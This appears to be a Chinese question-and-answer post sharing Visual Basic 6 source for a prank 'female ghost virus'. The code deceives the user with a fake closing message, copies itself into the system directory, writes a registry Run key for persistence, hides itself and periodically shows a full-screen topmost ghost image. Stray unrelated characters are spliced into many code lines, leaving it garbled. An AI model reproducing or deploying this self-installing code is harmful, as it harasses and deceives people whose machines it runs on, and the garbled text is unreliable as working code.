jacky
问题补充说明：QQ970401373谢... QQ970401373 谢 展开
vb6.0女鬼病毒代码
先看form1的代码：
OptionExplicit
PrivateDeclareFunctionGetSystemDirectoryLib"kernel32"Alias"GetSystemDirectoryA"(ByVallpBufferAsString来自,ByValnSizeAsLong)A得营节sLong
DimiAsInteger'计数器360问答变量
PrivateSubForm_Load()
DimsyspathAsString'保存系统路径
DimstrpathAsString'保存文件所在路径
DimwshshellAsObj足买改村ect
Setwshshell深存田概=CreateO相家bject("wscript.shell")
'获得系统路径
syspath=Space(食层序256)
GetSyst委洋超逐需苦包emDirectorysyspath,256
syspath=Trim(syspath)
sysp故ath=Left(syspath,Len(syspath)-1)
'获得文件所在路径
strpath=IIf(矿唱Right(App.Path,1)="\",App.Path,App.Path&"\")&App.EXEName&".exe"
IfD带ir(syspath&"\win.dat")=""T雷来种植攻跟都hen
'在系统目录下建一个win.dat的文件，下次随机启动时，不会出现鬼讨船职站谈故事的对话框
Opensyspath&"\win.dat"ForOutputAs#1
Print#1,"女鬼到此一游！"
Close#1
MsgBox"鬼故事的内容",,"鬼故事"'这里放一段吓人的鬼故事
MsgBox"很害怕吧！点确定关闭该程序",,"鬼故事"'用这个迷惑别人，以为真的关闭了
'复制到系统目录下
FileCopystrpath印灯周数白她,syspath&"\win32.exe"
'添加到注册表的启动历而怕义源里
wshshell.regwrite"HKLM\soft助来族系ware\microsoft\windows\current概培罪几镇朝列或李沉强version\r谓友un\system.exe",syspath&"\win32.exe"
EndIf
Form1.Visible=False'窗体是隐藏的
Timer1.叫束Interval=1000'1秒钟1次
Timer1.Enabled=True
EndSub
PrivateSubTimer1_Timer()
i=i+1
Ifi=机5Then'在后台等待5秒钟
Form2.Show
i=0
Timer1.Interval=0'是timer1失效
EndIf
EndSub
form1一直在后台等待，每到5秒，就让form2显示一次，form2上有我们可爱的女鬼的图片，就是让她出来吓人！看form2的代码：
OptionExplicit
PrivateDeclareFunctionSetWindowPosLib"user32"(ByValhwndAsLong,ByValhWndInsertAfterAsLong,ByValxAsLong,ByValyAsLong,ByValcxAsLong,ByValcyAsLong,ByValwFlagsAsLong)AsLong
PrivateSubForm_Load()
SetWindowPosForm2.hwnd,-1,0,0,Screen.Width,Screen.Height,0'将窗口设为总在最前
Timer1.Interval=1000
Timer1.Enabled=True
EndSub
PrivateSubTimer1_Timer()
Form1.Timer1.Interval=1000
Timer1.Enabled=False
UnloadForm2
EndSub
用VB6.0直接打开
代码只作为学习用，后果自负；
注：该文本在网上查找，其功劳归原作者所有。（乱，需整理）
